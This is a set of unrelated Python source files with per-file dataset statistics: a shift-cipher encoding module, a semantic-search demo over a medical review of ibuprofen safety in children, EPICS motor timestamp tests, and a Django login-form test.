if char in alphabet:
alphabet_len = len(alphabet)
add_encrypted_char(original_str, char, step=step)
return encoded_str
def encode_pro(original_str, lang='en'):
'''Return the string with encoding chars according the chosen language.
Numbers and other signs do not change.
The shift to encode the chars of each word is the length of the word.'''
encoded_str = ''
for word in original_str.split():
encoded_str += encode(word, lang=lang, step=len(word)) + ' '
return encoded_str
def encode_pro_all_lang(original_str):
'''Return the string with encoding chars.
Numbers and other signs do not change.
The shift to encode the chars of each word is the length of the word.'''
encoded_str = ''
for word in original_str.split():
encoded_str += encode_all_lang(word, step=len(word)) + ' '
return encoded_str
def decode(original_str, lang='en', step=1):
'''Return the string with decoding chars according the chosen language.
Numbers and other signs do not change.'''
return encode(original_str, lang=lang, step=-step)
def decode_all_lang(original_str, step=1):
'''Return the string with decoding chars.
Numbers and other signs do not change.'''
return encode_all_lang(original_str, step=-step)
def decode_pro(original_str, lang='en'):
'''Return the string with decoding chars according the chosen language.
Numbers and other signs do not change.
The shift to encode the chars of each word is the length of the word.'''
encoded_str = ''
for word in original_str.split():
encoded_str += encode(word, step=-len(word)) + ' '
return encoded_str
def decode_pro_all_lang(original_str):
'''Return the string with decoding chars according the chosen language.
Numbers and other signs do not change.
The shift to encode the chars of each word is the length of the word.'''
encoded_str = ''
for word in original_str.split():
encoded_str += encode_all_lang(word, step=-len(word)) + ' '
return encoded_str
| 32.481481
| 99
| 0.673033
| 502
| 3,508
| 4.535857
| 0.141434
| 0.087835
| 0.052701
| 0.066755
| 0.825209
| 0.816864
| 0.758454
| 0.725077
| 0.6491
| 0.519982
| 0
| 0.011847
| 0.230046
| 3,508
| 108
| 100
| 32.481481
| 0.831174
| 0.3187
| 0
| 0.518519
| 0
| 0
| 0.007411
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0
| 0
| 0
| 0.314815
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
257e6baf56bef5461f8e4df940e6b7be60cbbcd4
| 28,474
|
py
|
Python
|
Contextual-Query-Document-Summarization.py
|
liamca/simple_query_based_document_summarization
|
0df02e1b83bdfd826b4c9c631381d13875e4b1a8
|
[
"MIT"
] | 1
|
2021-12-02T17:48:32.000Z
|
2021-12-02T17:48:32.000Z
|
Contextual-Query-Document-Summarization.py
|
liamca/simple_query_based_document_summarization
|
0df02e1b83bdfd826b4c9c631381d13875e4b1a8
|
[
"MIT"
] | null | null | null |
Contextual-Query-Document-Summarization.py
|
liamca/simple_query_based_document_summarization
|
0df02e1b83bdfd826b4c9c631381d13875e4b1a8
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# coding: utf-8
# https://www.sbert.net/docs/pretrained_models.html
# Sample Text from https://doi.org/10.1186/s13052-021-00974-0;%20https://www.ncbi.nlm.nih.gov/pubmed/33514404/
from sentence_transformers import SentenceTransformer, util
model = SentenceTransformer('nq-distilbert-base-v1')
text = '''Ibuprofen belongs to the non-steroidal anti-inflammatory drugs (NSAIDs) and based on the most recent international guidelines is the currently recommended antipyretic and analgesic to be used in pediatric age together with paracetamol [1] [2] [3] . Its effectiveness to relieve pain and reduce fever discomfort is widely demonstrated by several clinical trials [4] [5] [6] [7] [8] [9] . Despite its commonly recognized efficacy and tolerability profile, starting from 2010 the Pediatric Working Group of the Italian Drugs Agency (AIFA) reported an increase of suspected adverse reactions possibly related to ibuprofen use in parallel with its growing over-the-counter consumption [10] . As a matter of fact, during the last decade a worrying rise of papers describing adverse events occurring in children under ibuprofen and other NSAIDs therapy have been published [11] [12] [13] [14] . The main reported side effects seem to involve the gastrointestinal system [11, 12] and the kidneys especially in feverish dehydrated individuals [13, 14] . Nevertheless, a possible role of NSAIDs in worsening the clinical course of bacterial as well as viral infections has also been suspected for decades, especially for skin and soft tissue infections (SSTI) [15] . In 2009 Legras et al. conducted a multicenter case-control study in order to establish whether the use of NSAIDs in the course of bacterial community-acquired infections in adults was associated with severe sepsis or septic shock [16] . Although the use of NSAIDs in patients with severe sepsis or septic shock did not differ from those with mild infection at the same infected site, a longer median time of antibiotic therapy was observed in NSAIDs' users [16] . Nevertheless, the impact of NSAIDs intake during bacterial infections remains controversial [15] . In this scenario, in April 2019 the French National Agency for the Safety of Medicines and Health Products (ANSM) issued a warning about the use of NSAIDs for patients with infectious diseases based on the analysis of 20 years of real-world safety data of ibuprofen and ketoprofen [17] . The analysis included 337 and 49 cases, respectively, over 20 years of infectious complications. Most of the complications were related to Streptococcus and occurred within 2 or 3 days from the starting of NSAI Ds' therapy [17] . In some cases, NSAIDs were administered concomitantly with antibiotics and in many cases without medical advice [17] . Following this warning, the ANSM released practical recommendations on NSAIDs use inviting to limit NSAIDs consumption at the minimal effective dose and for the shortest possible time [18, 19] . In details, treatment should be continued for no more than 3 days for fever and 5 days for pain and discontinued at symptoms resolution. Patients were advised not to assume more than one type of NSAIDs at a time [18, 19] . ANSM also stated that the use of NSAIDs has to be considered contraindicated in cases of chickenpox [20] . The exact mechanism on how NSAIDs might affect the pathogenesis of complicate infectious diseases is still unclear. It has been postulated that NSAIDs may mask the signs and symptoms of bacterial infection, thus delaying appropriate treatment [21] [22] [23] [24] . NSAI Ds may also modify the host inflammatory response both promoting neutrophils influx and inhibiting cytokine/interleukin/tissue necrosis factor production, thus creating a more suitable environment for bacterial growth [21] . Finally, it is postulated that fever itself has an important role in infection control and NSAIDs mediated fever suppression may interfere with the host control of viral and bacterial infections [21] . In light of the emerging evidences, the aim of this review was to critically evaluate the safety of ibuprofen during the course of pediatric infectious disease in order to highlight circumstances associated with higher risks and to promote safe and appropriate use of this drug in children. Chickenpox is a highly contagious, common epidemic disease in young children, with 90% of infections before the age of 10 years old and median onset of the disease at 3 years old [25] . The risk of chickenpox complications may be significantly increased after NSAIDs' exposure. In particular, NSAIDs are able to promote the development of bacterial super-infection, to mask symptoms and to cause delay management. Table 1 summarizes the data on ibuprofen use in children with chickenpox. One of the most common complications of chickenpox is represented by skin super-infections, mainly caused by group A streptococcal (GAS) infections, which are also responsible for necrotizing fasciitis (a rapidly progressive inflammatory infection of the fascia) with secondary necrosis of the subcutaneous tissues. A strong association between the use of NSAIDs and SSTI complications (mostly cellulitis and abscess) in children with chickenpox has been previously reported [23, 26] . Lesko et al. investigated the risk factors implicated in the development of necrotizing fasciitis, analyzing 224 subjects with chickenpox, of whom 52 with GAS infection and 172 with uncomplicated chickenpox [27] . Among the 224 children, 123 had taken ibuprofen or paracetamol (alone or in combination). The authors found that the use of ibuprofen was not associated with a higher risk of developing soft tissue necrosis, while the probability of a GAS infection was higher in subjects who had taken ibuprofen alone (OR 3.9, 95% CI: 1.3-12) [27] . More recently, Mikaeloff et al. conducted a 12-year epidemiological case-control study based on a cohort of 140,111 individuals with chickenpox diagnosis, to determine whether NSAIDs could increase the risk of severe skin complications [28] . Despite some potential biases related to the NSAIDs exposure, the authors concluded that the use of NSAIDs was associated with an increased risk of skin and soft tissue complications in the context of chickenpox, especially in children [28] . Souyri et al. evaluated the contribution of NSAIDs to the development of severe necrotizing soft tissue infections (NSTI) comparing 38 subjects with NSTI with 228 matched healthy controls [29] . The 38 subjects with NSTI were divided into three groups on the basis of age: 12 infants (0-23 months), 16 children (2-15 years) and 10 adults (> 15 years). Of the 38 patients with NSTI, 25 patients were exposed to ibuprofen (OR 31.38; 95% CI 6.40-153.84) and 24 presented with chickenpox (OR 17.55; 95% CI 3. 47-88.65) . This study indicates a strong association between the use of NSAIDs and severe NSTI, in particular in children with chickenpox [29] . As a consequence of these growing evidences, the use of ibuprofen for symptom control in chickenpox has been progressively abandoned [30, 31] . In conclusion, current evidences clearly underline a concrete risk of NSTI in children assuming ibuprofen during the course of chickenpox. Therefore, its use has to be strongly discouraged for the management of chickenpox related symptoms in children. Sepsis is a life-threatening organ dysfunction determined by a dysregulated host response to infections [32] . A number of case reports, concerning patients admitted to intensive care units, suggested that the use of NSAIDs might increase the severity of bacterial infections leading to shock and multiple organ failure [33] [34] [35] [36] . This seems to be consequent to life-threatening infections, mainly streptococcal, such as streptococcal toxic shock syndrome (STSS) or necrotizing fasciitis, but also driven by other organisms such as Staphylococcus spp. or Gramnegative bacilli [36] [37] [38] [39] . Several investigations reported a sequential relationship between the administration of NSAIDs and the progression of invasive GAS infections [35, 38, [40] [41] [42] [43] . Nevertheless, up to date, few studies have been published in children with conflicting results [44] [45] [46] . An epidemiologic study from the UK found that STSS was independently associated with NSAIDs use with a 3-fold increase, including children (OR: 3; 95% confidence interval, 1.30-6.93; p = 0.01) [44] . However, as well underlined by the authors, no data was collected regarding time, dose, indications, and specific NSAIDs used, making very difficult to draw any conclusion [44] . On the other hand, NSAIDs, particularly ibuprofen, have been used in most studies for the treatment of sepsis. In 1997 a randomized, double blind, placebo-controlled trial on adults conducted by Bernard et al. demonstrated that the group treated with ibuprofen showed decreased levels of prostacyclin and thromboxane as well as a quicker resolution of fever, tachycardia, oxygen consumption and lactic acidosis. However, the mortality rate by day 30 did not differ significantly in the ibuprofen and placebo groups (37% vs. 40%). No differences in terms of survival were observed between the 2 groups [45] . More recently, in 2012 Demirel et al. observed that sepsis parameters in preterm infants with patent ductus arteriosus (PDA) decreased after ibuprofen administration independently from antibiotic therapy [46] . Table 2 sums up the evidences highlighting the relationship between ibuprofen administration and sepsis in children. In conclusion, it remains unclear whether NSAIDs may have harmful effects during the course of systemic bacterial infection. We highlight the need for welldesigned pediatric trials in order to better define the relative risks and benefits of NSAIDs administration in this delicate setting. In order to investigate a possible causality between the intake of NSAIDs and the development of severe lung bacterial infections in childhood, Leroy et al. analyzed a prospective cohort of 5182 hospitalized children over a 3-years' period [47] . Of these, 32 (0.6%) had severe bacterial infections following treatment with NSAIDs, mainly ibuprofen, in the 15 days prior to the admission. Bacteriological studies identified the presence of Staphylococcus aureus, GAS and Streptococcus pneumoniae [47] . In US a retrospective study reported an increasing incidence of pleural empyema between 1993 and 1999, rising from one to five cases per 100,000 people aged less than [48] . Consistently with these findings, a retrospective study conducted in 2 French hospitals reported an increasing incidence of complicated pneumonia, defined as a pleural effusion and/or a lung cavitation in children [49] . Between 1995 and 1999, 3% of hospitalized cases of pneumonia were complicated when compared with 23% in 2003. Multivariate analysis identified ibuprofen exposure as the only pre-hospital treatment independently associated with a higher risk of empyema or lung abscess [49] . Interestingly, this study also correlated the increased prevalence of complicated pneumonia in France with rising sales of liquid ibuprofen and supported these data with supplementary analysis [49] . In a British prospective cohort of 160 children hospitalized for CAP between 2009 and 2011, 40 developed a pleural empyema. Pre-hospital NSAIDs exposure was as high as 82% in these children who developed pleural empyema, compared with 46% in uncomplicated cases [50] . More recently, a prospective single-center study conducted in Poland including 203 children hospitalized for CAP between 2012 and 2014 evaluated the cumulative effect of ibuprofen dosing [51] . The authors demonstrated that pre-hospitalization higher cumulative dose of ibuprofen was associated with a 2.5 greater risk of pneumonia complications [51] . Forty-two children developed a pleural or pulmonary complication including para-pneumonic pleural effusion, pleural empyema, necrotizing pneumonia, and lung abscess. The exposure to a cumulative dose of ibuprofen higher than 78 mg/kg was associated with an increased risk of pleural or pulmonary complication [51] . Most of these pediatric casecontrol studies share the methodological weakness of not accounting for protopathic bias that occurs when it is not possible to determine whether the exposure to the factor preceded or not the occurrence of the complication. Hence, NSAIDs could have been prescribed because of symptoms (thoracic pain, fever) related to the beginning of a complication (parapneumonic pleural effusion, pleural empyema), rather than representing a concrete risk factor for the occurrence of a pleural or a pulmonary complication. In order to account for this bias, a case-control study was conducted in 15 French centers between 2006 and 2009 [24] . The cases involved consecutive children hospitalized for a pleural empyema occurring in the 15 days following a viral-associated respiratory tract infection treated at home. The controls were children with a viral-associated respiratory tract infection treated at home who did not require hospitalization and were matched for the general practitioner, age, viral symptoms, and season [24] . Eighty-three case-control pairs were studied. Infection was localized in the lower respiratory tract in 23% of cases and 34% of controls (p = 0.21). NSAIDs exposure, almost exclusively to ibuprofen, was involved in 39% of cases and 27% of controls (p = 0.08). Half of the children received paracetamol (47% vs 49%; p = 0.79), while 8% of the cases and 15% of the controls received antibiotics concomitantly to the first day of viral symptoms (p = 0.21). In a multivariate analysis, NSAI Ds treatment starting during first 3 days of viral symptoms and administered for at least 1 day was independently associated with a higher risk of pleural empyema (OR = 2.79; 95% confidence interval (CI), 1. 40-5.58 ). An antibiotic Non-interventional study, with unclear exclusion criteria and relatively small sample size. CRP C-reactive protein, NSAIDs Non-steroidal anti-inflammatory drugs, PDA Patent ductus arteriosus, STSS Streptococcal toxic shock syndrome therapy started within the first 3 days of viral symptoms and administered for at least 6 days was independently associated with a lower risk of pleural empyema (OR = 0.32; 95% CI, 0.11-0.97). In the sub-group of children exposed to NSAIDs, the risk of pleural empyema was increased if the duration of antibiotic therapy was less than 6 days (OR = 3.01; 95% CI, 1.52-5.95) [24] . Finally, Meganathan et al., identified in a multivariate regression logistic analysis ibuprofen as an independent risk factor for the development of parapneumonic effusion/empyema in 30 children with CAP, (adjusted OR 6.8; 95%CI: 1.07-43.6) [52] . Table 3 summarizes all the evidences associating ibuprofen consumption with risk of developing complicated CAP. In conclusion, pre-hospital administration of ibuprofen is associated with an increased risk of complicated lung infections in children, including empyema. Pediatricians should be aware of these possible complications and possibly avoid the administration of ibuprofen in the setting of febrile children with a suspicion of LRTI. Differently, from the above-discussed data the use of ibuprofen in children with cystic fibrosis seems to be safe and efficacious. As well known, cystic fibrosis (CF) is a genetic disease characterized by chronic lung inflammation and recurrent pulmonary infections. Pulmonary infections during cystic fibrosis disease course tend to be polymicrobial and are responsible for acute inflammatory response with an abundance of neutrophils, challenging the ability of the pulmonary system to clear them [53] . Ibuprofen use during CF pulmonary infections has been demonstrated to be effective and safe in containing the inflammatory response and helping the resolution of the infective episodes in numerous trials as well as in in vitro studies [53] [54] [55] [56] [57] [58] . Already in 1995, Konstan and colleagues performed randomized controlled trial including both adults and children affected by CF. [53] The enrolled patients were randomly assigned to receive orally ibuprofen or placebo, twice a day for 4 years. Patients assigned to the ibuprofen group demonstrated a significant slower annual rate of change in FEV1 and a higher weight when compared to the patients assigned to placebo [53] . In 2007 Lands et al. reported the data of a pediatric double-blinded, placebo-controlled trial on 142 CF children randomized to receive either high-dose ibuprofen (20 to 30 mg/kg/twice daily) or placebo for a 2-year period. Children in the high-dose ibuprofen group exhibited a significant reduction in the rate of decline of forced vital capacity percent predicted (p = 0.03), but not FEV1% [57] . The ibuprofen group also spent fewer days in hospital after adjusting for age (1.8 vs 4.1 days per year; p = 0.07). No differences in serious adverse events were observed between the 2 groups [57] . In 2007 Lands and colleagues published the first Cochrane-review on the efficacy of oral non-steroidal anti-inflammatory drug therapy for lung disease in cystic fibrosis, further updated in 2013, 2017 and lately in 2019 [58] [59] [60] [61] . The last published in 2019 identified 17 trials, but only 4 were finally included in the analysis. The authors concluded that high-dose ibuprofen could slow the progression of lung disease in patients affected by CF, especially in children [61] . Regarding the mechanism, a recent paper proposed that ibuprofen's effectiveness in this setting might occur due to its antimicrobial effects against Pseudomonas aeruginosa and Burkholderia bacteria, 2 of the most fearsome pathogens associated with CF. [62] As a matter of fact, ibuprofen was able to reduce the growth rate and bacterial burden of these bacteria in a dose-dependent fashion in an acute pseudomonas pneumonia mouse model [62] . In conclusion, ibuprofen use in the setting of CF has been proven to be efficacious and safe in slowing down lung disease progression, thus strongly recommending its administration to face CF exacerbations. Coronavirus disease 2019 (COVID-19) is the result of a zoonotic infection caused by a novel coronavirus, severe acute respiratory syndrome coronavirus-2 (SARS-CoV-2) [63] . On March 11, 2020, the World Health Organization (WHO) officially declared COVID-19 a pandemic disease [64] . As of November 14th, 2020, SARS-CoV-2 spread in more than 200 countries worldwide and infected over 53 million people with 1.3 million deaths (https://www.worldometers.info/ coronavirus/). Current experience suggests that adults are more susceptible to SARS-CoV-2 than children [65] . In adults, COVID-19 is typically characterized by severe interstitial pneumonia and hyper activation of the inflammatory cascade [66, 67] . Data from individual countries and several studies suggest that children under the age of 18 years represent about 8.5% of the reported cases, with relatively few deaths compared to other agegroups. Infection in children generally causes mild disease, and serious illness due to COVID-19 is seen only infrequently [68] [69] [70] [71] [72] [73] . The most common findings amongst symptomatic children are fever (50%) and cough (38%). Shortness of breath, sore throat, rhinorrhea, conjunctivitis, fatigue, and headache are other commonly reported symptoms. Diarrhea, vomiting, and abdominal pain are common gastrointestinal symptoms that may be present with or without respiratory symptoms [68] [69] [70] [71] [72] [73] . The basis of the decreased severity of SARS CoV-2 infection in children is still not well understood. Many hypotheses have been formulated including an immature receptor system, specific regulatory mechanisms in the immune system and cross-protection by antibodies directed towards common viral infections in infancy [74] . Particularly, most of the attention has been focused in possible differences in the expression, distribution and/or functioning of the human cell receptor expressing angiotensin-converting enzyme 2 (ACE2). As further elucidated, the binding of ACE2 is a crucial mechanism in SARS-CoV-2 pathogenesis. SARS-CoV2 structure includes 4 structural proteins: spike (S), membrane (M), envelope (E), and nucleocapsid (N). The spike protein binds to ACE2 and results in membrane fusion via conformational changes in the cell membrane [75, 76] . This process affects target organs (lungs, digestive tract, heart, blood vessels, and kidneys) where ACE2 expression is very high and induces local and systemic inflammatory responses involving the affected organ [75, 76] . It has been hypothesized that ACE2 expression may be decreased in children, although this has not yet been demonstrated. In addition, a greater dysregulation/dysfunction of both adaptive and innate immune responses and greater incidence of comorbidities in adults may also contribute to the more severe manifestations observed in adults vs children. Indeed, it seems pretty clear that the 'cytokine storm' occurring in the second phase of COVID-19 course is responsible of worsening of clinical symptoms. The molecular mechanisms underlying the altered pathological inflammation in COVID-19 are largely unknown [77] . Recently Sohn et al. reported that toll-like receptor (TLR) 4-mediated inflammatory signalling molecules are upregulated in peripheral blood mononuclear cells (PBMCs) from COVID-19 patients [78] . The blockade of TLR signalling through molecular checkpoints may contribute to developing a potential target treatment [79] . This inflammatory cascade seems to be infrequent in children, if we exclude the recently described cases of multisystem inflammatory syndrome [80] [81] [82] . The so-called MIS-C (multisystem inflammatory syndrome in children) is characterized by a hyperinflammatory shock, exhibiting similar features to atypical Kawasaki disease without significant respiratory issues in children previously exposed to SARS-CoV-2 [80] [81] [82] . The pathogenesis of this rare complication of COVID-19 in children may represent the equivalent of severe SARS-CoV2 induced cytokine storm in adults. Due to the crucial role exerted by ACE2 expression in COVID-19 pathogenesis, Fang and colleagues at the beginning of the pandemic on March 2020 hypothesized a possible deleterious role of ACE2-stimulating drugs and ibuprofen on the course of SARS-CoV-2 infected patients [83] . Indeed, ibuprofen has been shown to exert significant effect on mice cardiac fibrosis increasing the level of expression of level of expression of ACE2 in a rat model of diabetes [84] . The increase of ACE2 expression may lead to a potential rise of SARS-CoV-2 viral load and consequently to a more severe disease course [83] . Therefore, the authors concluded their commentary discouraging the use of these drugs in the setting of COVID-19, although no evidence suggests a direct interaction between ibuprofen and ACE2 in humans. Nevertheless, this plausible mechanism together with the above-reported evidences of ibuprofen mediated worsening of LRTI, led the ANSM releasing a warning, asking whether patients showing symptoms of COVID-19 should use paracetamol rather than ibuprofen [85]. This warning was echoed by the British Medical Journal [86] [87] [88] , causing a drop of 80% ibuprofen prescriptions in France [89] . The UK Medicines and Healthcare products Regulatory Agency (MHRA) reported that in the absence of clear evidences, patients should be advised to take paracetamol to treat the symptoms of COVID-19, unless paracetamol is not suitable for them [90] . In a similar way the European Medicine Agency (EMA) released the following statement: "There is currently no scientific evidence establishing a link between ibuprofen and worsening of COVID-19. EMA is monitoring the situation closely and will review any new information that becomes available on this issue in the context of the pandemic" [91] . Differently, the World Health Organization (WHO), after advising not to use ibuprofen for COVID-19, quickly retracted the public advisory on March 18, 2020 [92] . While the scientific debate whether to use or not ibuprofen in the course of COVID-19 continues [93] [94] [95] [96] , the first data have been published. Abu Esba and colleagues prospectively recruited 503 adults with a confirmed SARS-CoV2 infection of whom 40 (8%) using ibuprofen during the infection, 17 (3.4%) assuming other NSAIDs and 96 (19%) being chronically treated with NSAIDs before and during the infection. Neither the acute nor the chronic use of NSAIDs resulted to be associated with increased mortality or severe COVID19 [97] . More recently, Kragholm and colleagues reported the data of a retrospective, nationwidebased cohort study, including 4002 adults with COVID-19 of whom 264 (6.6%) treated with ibuprofen [98] . No significant association between ibuprofen prescription claims and severe COVID-19 was found [98] . Finally, Rinott and colleagues retrospectively evaluated the use of ibuprofen versus paracetamol during the course of SARS-CoV2 infection in 403 adult patients, confirming that ibuprofen was not associated with severe COVID-19 [99] . Up to date no study has been conducted in the setting of pediatric patients. In conclusions, despite the initial warning, a causal link of a harmful effect of ibuprofen in patients with COVID-19 has not been established. Nevertheless, considering the overall uncertainty, the little amount of the published data and the milder course of pediatric COVID-19, we suggest to use acetaminophen monotherapy as first-antipyretic in children infected with SARS-CoV2. Further, well-designed studies are urgently needed in order to clarify this important issue and allow an improvement of cares for SARS-CoV2 infected patients. During the last decade the progressive widespread of ibuprofen administration in pediatric diseases led to several concerns on possible serious side effects, including the worsening of infectious processes. This narrative review clearly underlines that there are sufficient evidences to contraindicate ibuprofen for the management of chickenpox symptoms, due to the elevated risk of NSTI. Despite the lack of well-conducted trials, several papers suggest that pre-hospital use of ibuprofen may increase the risk of complicated pneumonia in children. Thus, we recommend caution on its administration in the febrile children with a suspicion of LRTI. Differently, ibuprofen's efficacy and safety in the setting of cystic fibrosis is corroborated by RCTs and metanalyses and it is therefore strongly recommended. Conflicting data have been published for the management of the septic children. Up to date it is not possible to draw any conclusion and further welldesigned trials are urgently warranted. Finally, the COVID-19 pandemic raises many questions regarding ibuprofen administration during the acute respiratory distress syndrome caused by SARS-CoV2. The first published papers seem to be reassuring at least in adults. However, while waiting for real-life pediatric data taking into account the milder course of SARS-CoV2 infection in children, the risks of bacterial superinfection and the above reported data on LRTI, we recommend continuing use paracetamol as first choice in the course of COVID-19.'''
def extractSentencesFromText(text):
sections = text.replace('\n',' ').replace('\r',' ').split('.')
passages = []
for section in sections:
passages.append(['', removeUnicode(section.strip())])
return passages
def removeUnicode(text):
string_encode = text.encode("ascii", "ignore")
return string_encode.decode()
def scorePassages(query):
query_embedding = model.encode(query)
scores = util.pytorch_cos_sim(query_embedding, passage_embedding).tolist()[0]
score_dict = {}
sentence_counter = 0
for score in scores:
score_dict[sentence_counter] = score
sentence_counter+=1
return score_dict
passages = extractSentencesFromText(text)
print ('Total Passages:', len(passages))
passages[:3]
passage_embedding = model.encode(passages)
print ('Passage Embeddings:')
print (passage_embedding[:3])
query = "what are ibuprofen risks in pediatrics?"
score_dict = scorePassages(query)
for w in sorted(score_dict, key=score_dict.get, reverse=True):
print(score_dict[w], passages[w][1])
| 558.313725
| 27,051
| 0.804383
| 4,366
| 28,474
| 5.241182
| 0.283784
| 0.005463
| 0.004545
| 0.004894
| 0.065201
| 0.036271
| 0.02456
| 0.016781
| 0.012761
| 0.00437
| 0
| 0.03473
| 0.153614
| 28,474
| 50
| 27,052
| 569.48
| 0.914772
| 0.006778
| 0
| 0
| 0
| 0.032258
| 0.961946
| 0.003366
| 0
| 0
| 0
| 0
| 0
| 1
| 0.096774
| false
| 0.419355
| 0.064516
| 0
| 0.258065
| 0.129032
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
2583228c221a102f03eba47cb9d43c5c55b053f1
| 63
|
py
|
Python
|
src/helpers.py
|
andysnell/project-euler
|
43d92e59d247dfc319c6fe4c22ecc7962e2283ca
|
[
"FTL"
] | null | null | null |
src/helpers.py
|
andysnell/project-euler
|
43d92e59d247dfc319c6fe4c22ecc7962e2283ca
|
[
"FTL"
] | null | null | null |
src/helpers.py
|
andysnell/project-euler
|
43d92e59d247dfc319c6fe4c22ecc7962e2283ca
|
[
"FTL"
] | null | null | null |
def solution(value):
print("Solution: {}".format(value))
| 12.6
| 39
| 0.634921
| 7
| 63
| 5.714286
| 0.714286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.15873
| 63
| 4
| 40
| 15.75
| 0.754717
| 0
| 0
| 0
| 0
| 0
| 0.196721
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0
| 0.5
| 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
2593fd5963a1c86d4f68648406939a7ee63102df
| 2,165
|
py
|
Python
|
ophyd/tests/test_timestamps.py
|
DominicOram/ophyd
|
df60483867e521dcda83648756cab8fc7b80dd17
|
[
"BSD-3-Clause"
] | 16
|
2015-05-20T20:48:25.000Z
|
2019-04-24T21:12:59.000Z
|
ophyd/tests/test_timestamps.py
|
DominicOram/ophyd
|
df60483867e521dcda83648756cab8fc7b80dd17
|
[
"BSD-3-Clause"
] | 594
|
2015-01-05T21:55:21.000Z
|
2019-05-10T02:05:24.000Z
|
ophyd/tests/test_timestamps.py
|
DominicOram/ophyd
|
df60483867e521dcda83648756cab8fc7b80dd17
|
[
"BSD-3-Clause"
] | 37
|
2019-07-06T18:17:07.000Z
|
2022-03-09T22:26:18.000Z
|
import time
import logging
import pytest
from ophyd import (EpicsSignal, EpicsSignalRO)
from numpy.testing import assert_almost_equal
logger = logging.getLogger(__name__)
@pytest.mark.motorsim
def test_read_pv_timestamp_no_monitor(motor):
motor.set(0, wait=True)
sp = EpicsSignal(motor.user_setpoint.pvname, name='test')
rbv = EpicsSignalRO(motor.user_readback.pvname, name='test')
assert rbv.get() == sp.get()
rbv_value0 = rbv.get()
ts0 = rbv.timestamp
sp.put(sp.get() + 0.1)
time.sleep(.5)
rbv_value1 = rbv.get()
ts1 = rbv.timestamp
assert ts1 > ts0
assert_almost_equal(rbv_value0 + 0.1, rbv_value1)
sp.put(sp.get() - 0.1)
@pytest.mark.motorsim
def test_write_pv_timestamp_no_monitor(motor):
motor.set(0, wait=True)
sp = EpicsSignal(motor.user_setpoint.pvname, name='test')
sp_value0 = sp.get()
ts0 = sp.timestamp
sp.put(sp_value0 + 0.1, wait=True)
time.sleep(0.1)
sp_value1 = sp.get()
ts1 = sp.timestamp
assert ts1 > ts0
assert_almost_equal(sp_value0 + 0.1, sp_value1)
sp.put(sp.get() - 0.1, wait=True)
@pytest.mark.motorsim
def test_read_pv_timestamp_monitor(motor):
motor.set(0, wait=True)
sp = EpicsSignal(motor.user_setpoint.pvname, auto_monitor=True,
name='test')
rbv = EpicsSignalRO(motor.user_readback.pvname, auto_monitor=True,
name='test')
rbv_value0 = rbv.value
ts0 = rbv.timestamp
sp.put(rbv_value0 + 0.1, wait=True)
time.sleep(0.2)
rbv_value1 = rbv.value
ts1 = rbv.timestamp
assert ts1 > ts0
assert_almost_equal(rbv_value0 + 0.1, rbv_value1)
sp.put(sp.value - 0.1, wait=True)
@pytest.mark.motorsim
def test_write_pv_timestamp_monitor(motor):
motor.set(0, wait=True)
sp = EpicsSignal(motor.user_setpoint.pvname, auto_monitor=True,
name='test')
sp_value0 = sp.value
ts0 = sp.timestamp
sp.put(sp_value0 + 0.1, wait=True)
time.sleep(0.1)
sp_value1 = sp.value
ts1 = sp.timestamp
assert ts1 > ts0
assert_almost_equal(sp_value0 + 0.1, sp_value1)
sp.put(sp.value - 0.1, wait=True)
| 24.602273
| 70
| 0.666051
| 325
| 2,165
| 4.252308
| 0.150769
| 0.02026
| 0.035456
| 0.043415
| 0.815485
| 0.775687
| 0.767004
| 0.742402
| 0.617945
| 0.552822
| 0
| 0.041056
| 0.212471
| 2,165
| 87
| 71
| 24.885057
| 0.769501
| 0
| 0
| 0.578125
| 0
| 0
| 0.011085
| 0
| 0
| 0
| 0
| 0
| 0.15625
| 1
| 0.0625
| false
| 0
| 0.078125
| 0
| 0.140625
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
25959f1c476aaba34165267724e75d38b777c557
| 281
|
py
|
Python
|
Apps/Usuario/tests/unit_tests/test_forms.py
|
cadubrito/Agenda
|
1429d8333f8367034c8a902c739ccc69f833dba1
|
[
"MIT"
] | null | null | null |
Apps/Usuario/tests/unit_tests/test_forms.py
|
cadubrito/Agenda
|
1429d8333f8367034c8a902c739ccc69f833dba1
|
[
"MIT"
] | null | null | null |
Apps/Usuario/tests/unit_tests/test_forms.py
|
cadubrito/Agenda
|
1429d8333f8367034c8a902c739ccc69f833dba1
|
[
"MIT"
] | null | null | null |
from Apps.Usuario.forms import UserAutenticationForm
from django.test import TestCase
class UsuarioFormTestCase(TestCase):
def test_when_user_informs_only_username_and_empty_pass(self):
form = UserAutenticationForm(data={})
self.assertFalse(form.is_valid())
| 28.1
| 66
| 0.786477
| 33
| 281
| 6.424242
| 0.787879
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.13879
| 281
| 9
| 67
| 31.222222
| 0.876033
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.166667
| 1
| 0.166667
| false
| 0.166667
